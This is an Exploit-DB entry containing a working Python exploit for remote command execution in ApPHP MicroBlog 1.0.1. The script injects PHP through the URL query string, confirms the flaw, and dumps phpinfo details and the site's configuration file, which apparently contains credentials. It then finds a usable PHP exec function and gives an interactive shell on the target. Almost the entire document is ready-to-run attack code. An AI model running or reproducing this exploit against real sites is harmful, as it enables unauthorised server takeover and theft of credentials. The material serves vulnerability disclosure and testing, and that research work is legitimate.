Exploit-DB #33070
Description: ApPHP MicroBlog 1.0.1 - Remote Command Execution
Type: webapps
Platform: php
Date: 2014-04-28
Author: LOTFREE

Exploit:
#!/usr/bin/python
import random
import hashlib
import urllib
from base64 import b64encode as b64
import sys
import re

# Exploit Title: Python exploit for ApPHP MicroBlog 1.0.1 (Free Version) - RCE
# Exploit Author: LOTFREE
# Version: ApPHP MicroBlog 1.0.1 (Free Version)
# EDB-ID: 33030

print "  -= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-"
print "original exploit by Jiko : http://www.exploit-db.com/exploits/33030/"

if len(sys.argv) < 2:
    print "Usage: python {0} http://target/blog/index.php".format(sys.argv[0])
    sys.exit()

debug = False
CHECK_FMT = "{0}?{1});echo(base64_decode('{2}')=/"
INFO_FMT = "{0}?{1});echo(base64_decode('{2}'));phpinfo();echo(base64_decode('{3}')=/"
# to read include/base.inc.php
CONFIG_FMT = "{0}?{1});echo(base64_decode('{2}'));readfile(base64_decode('aW5jbHVkZS9iYXNlLmluYy5waHA%3D'));echo(base64_decode('{3}')=/"
EXEC_FMT = "{0}?{1});echo(base64_decode('{2}'));{3}(base64_decode('{4}'));echo(base64_decode('{5}')=/"
index_url = sys.argv[1]

char = chr(random.randint(97,122))
start_mark = hashlib.md5(str(random.random())).hexdigest()[:15]
end_mark = hashlib.md5(str(random.random())).hexdigest()[:15]

print "[*] Testing for vulnerability..."
random_mark = hashlib.md5(str(random.random())).hexdigest()[:15]
url = CHECK_FMT.format(index_url, char, b64(random_mark))
if debug:
    print url
r = urllib.urlopen(url)
if not random_mark in r.read():
    print "[-] Website is not vulnerable :'("
    sys.exit()

print "[+] Website is vulnerable"
print

def extract_between(data):
    global start_mark
    global end_mark

    if start_mark not in data or end_mark not in data:
        print "[-] Oops. Something went wrong :("
        return ""

    return data.split(start_mark, 1)[1].split(end_mark, 1)[0]

print "[*] Fecthing phpinfo"
url = INFO_FMT.format(index_url, char, b64(start_mark), b64(end_mark))
if debug:
    print url
r = urllib.urlopen(url)
output = extract_between(r.read())
output = re.compile(r'<[^<]*?/?>').sub(' ', output)

interesting_values = [
    "PHP Version",
    "System",
    "Loaded Configuration File",
    "Apache Version",
    "Server Root",
    "DOCUMENT_ROOT",
    "allow_url_",
    "disable_functions",
    "open_basedir",
    "safe_mode",
    "User/Group"]

for line in output.split("\n"):
    line = line.strip()
    if line:
        for value in interesting_values:
            if line.startswith(value):
                print "\t" + line
print

print "[*] Fetching include/base.inc.php"
url = CONFIG_FMT.format(index_url, char, b64(start_mark), b64(end_mark))
if debug:
    print url
r = urllib.urlopen(url)
output = extract_between(r.read())
print output
print

exec_functions = ["system", "passthru", "exec", "shell_exec"]
valid_exec = None
print "[*] Testing remote execution"
for func in exec_functions:
    # trying to exec "echo LOTFREE"
    url = EXEC_FMT.format(index_url, char, b64(start_mark), func, "ZWNobyBMT1RGUkVF", b64(end_mark))
    if debug:
        print url
    r = urllib.urlopen(url)
    output = extract_between(r.read())
    if "LOTFREE" in output:
        valid_exec = func
        break

if valid_exec is None:
    print "[-] Did not manage to execute commands :("
    sys.exit()

print "[+] Remote exec is working with {0}() :)".format(valid_exec)
print "Submit your commands, type exit to quit"
while True:
    try:
        cmd = raw_input("> ").strip()
    except EOFError:
        print
        break
    if cmd == "exit":
        print
        break
    if (len(cmd) % 3) > 0:
        padding = " " * (3 - len(cmd) % 3)
        cmd = cmd + padding
    url = EXEC_FMT.format(index_url, char, b64(start_mark), func, b64(cmd), b64(end_mark))
    if debug:
        print url
    r = urllib.urlopen(url)
    output = extract_between(r.read())
    print output
    print